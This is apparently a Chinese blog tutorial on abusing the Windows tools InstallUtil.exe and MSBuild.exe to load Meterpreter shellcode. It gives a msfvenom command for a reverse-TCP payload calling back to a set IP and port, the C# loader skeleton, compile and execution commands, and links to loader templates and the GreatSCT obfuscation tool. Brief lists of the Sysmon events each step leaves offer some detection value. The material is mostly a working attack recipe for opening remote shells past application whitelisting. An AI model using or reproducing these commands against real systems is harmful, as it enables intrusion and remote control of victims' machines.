InstallUtil
这里获取cs文件 https://gist.github.com/Arno0x/efb32d9329270d72ec376c17ff64cba0
生成c#格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.138.142 LPORT=4444 -f csharp > 2.cs
然后代码合体
public class Sample:System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
byte[] shellcode = 生成的shellcode
用csc.exe
把cs文件编译成dll(后缀名无所谓)
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /target:library /unsafe /out:installUtil.dll C:\payload.cs
执行InstallUtil.exe
触发会话
InstallUtil.exe /logtoconsole=false /logfile= /u installUtil.dll
注意:因为这里是32位的meterpreter,所以选择32位的csc进行编译。经测试,虽然64位csc能够编译,但是无法运行。
注意:.NetFrameWork
高版本可以兼容低版本的编译,所以选择最为常见的2.0版进行编译。
C:\Windows\Microsoft.NET\Framework\v2.0.50727>csc.exe /target:library /unsafe /out:installUtil.dll C:\payload.cs
Microsoft (R) Visual C# 2005 编译器 版本 8.00.50727.4927
用于 Microsoft (R) Windows (R) 2005 Framework 版本 2.0.50727
版权所有(C) Microsoft Corporation 2001-2005。保留所有权利。
C:\Windows\Microsoft.NET\Framework\v2.0.50727>InstallUtil.exe /logtoconsole=false /logfile= /u installUtil.dll
Microsoft (R) .NET Framework 安装实用工具版本 2.0.50727.5420
版权所有(C) Microsoft Corporation。保留所有权利。
然后就僵在这里不动了,除非`session -k`销毁会话
其他
可以使用GreatSCT中的installutil/meterpreter/rev_tcp.py
自动化生成混肴内容的cs文件,不过只能用4.0的框架进行编译。
sysmon日志
- 执行csc.exe,事件ID 1
- csc调用cvtres.exe进行编译,事件ID 1
- 编译生成了
installUtil.dll
,事件ID 11 - 执行
InstallUtil.exe
加载恶意文件,事件ID 1 -
InstallUtil.exe
发起了反弹连接,事件ID 3
MsBuild
注意: 只适用于.netframework 4.0以上版本(因为UsingTask
的原因)
这里下载xml文件用于加载shellcode https://gist.github.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17
上一节msfvenom生成的cs文件可以接着用
public override bool Execute()
{
byte[] shellcode = 生成的shellcode
然后msbuild.exe C:\payload.xml
获得会话
C:\Windows\Microsoft.NET\Framework\v4.0.30319>MSBuild.exe c:\payload.xml
Microsoft (R) Build Engine Version 4.0.30319.1
[Microsoft .NET Framework, Version 4.0.30319.1]
Copyright (C) Microsoft Corporation 2007. All rights reserved.
Build started 2019/2/28 17:19:45.
然后就僵在这里不动了,除非`session -k`销毁会话
同样也可以使用GreatSCT中的msbuild/meterpreter/rev_tcp.py
自动化生成混肴后的xml文件。
sysmon日志
- 执行
msbuild.exe
- 编译生成了dll文件,
C:\Users\Administrator\AppData\Local\Temp\2\yfurnxhk.dll
- 编译生成了文件,
C:\Users\Administrator\AppData\Local\Temp\2\yfurnxhk.cmdline
-
csc.exe
被调用执行,"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\2\yfurnxhk.cmdline"
-
cvtres.exe
被调用执行,C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\2\RES741.tmp" "c:\Users\Administrator\AppData\Local\Temp\2\CSC740.tmp"
-
Msbuild.exe
发起了反弹连接。
流程小结
- 生成原始shellcode代码。
- 编写加载代码,整合shellcode
- 用
.netframework
编译成dll文件或者可执行文件 - 用
.netframework
执行恶意代码
网友评论